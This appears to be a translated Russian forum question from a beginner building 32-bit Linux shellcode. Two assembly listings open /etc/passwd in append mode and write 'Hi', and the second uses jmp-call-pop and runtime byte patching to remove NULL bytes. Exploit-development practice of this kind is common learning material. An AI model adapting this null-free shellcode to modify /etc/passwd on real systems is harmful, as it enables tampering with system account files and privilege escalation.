может быть глупым вопросом, но я новичок.Использование 32-битной операционной системы и написание ассемблерного кода для добавления строки «Привет» в файл / etc / passwd работает нормально, теперь я хочу получить соответствующий шестнадцатеричный код, пытаясь обнаружить плохой символ для построения шелл-кода.Построил исполняемый файл с помощью:
nasm file.asm
ld file.o
и затем выполняя, я получаю строку 'Hi' в конце / etc / passwd.Это код сборки, который я хочу преобразовать, чтобы увидеть шестнадцатеричное значение:
section .text
global _start
_start:
jmp two
one:
;open() write|append sys call
pop ebx
xor eax, eax
mov cl, 1090
mov al, 5
int 0x80
mov ebx, eax
jmp four
five:
;write() sys call
pop ecx
xor eax, eax
mov dl, 2
mov al, 4
int 0x80
;close() sys call
mov al, 6
int 0x80
;exit() sys call
mov al, 1
xor ebx, ebx
int 0x80
two:
call one
db "/etc/passwd", 0
four:
call five
db "Hi", 0
ОБНОВЛЕНИЕ: тот же результат с кодом ниже
section .text
global _start
_start:
jmp two
one:
;open() write|append sys call
pop ebx
xor eax, eax
mov [ebx+11], al ; <--added now
mov cl, 1090
mov al, 5
int 0x80
mov ebx, eax
jmp four
five:
;write() sys call
pop ecx
xor eax, eax
mov [ecx+2], al ; <--added now
mov dl, 2
mov al, 4
int 0x80
;close() sys call
mov al, 6
int 0x80
;exit() sys call
mov al, 1
xor ebx, ebx
int 0x80
two:
call one
db "/etc/passwdX" ; <--modified now
four:
call five
db "HiX" ; <--modified now
новая предоставленная версия asm все еще работает и должна решитьпроблема NULL байта для строки, это правильно?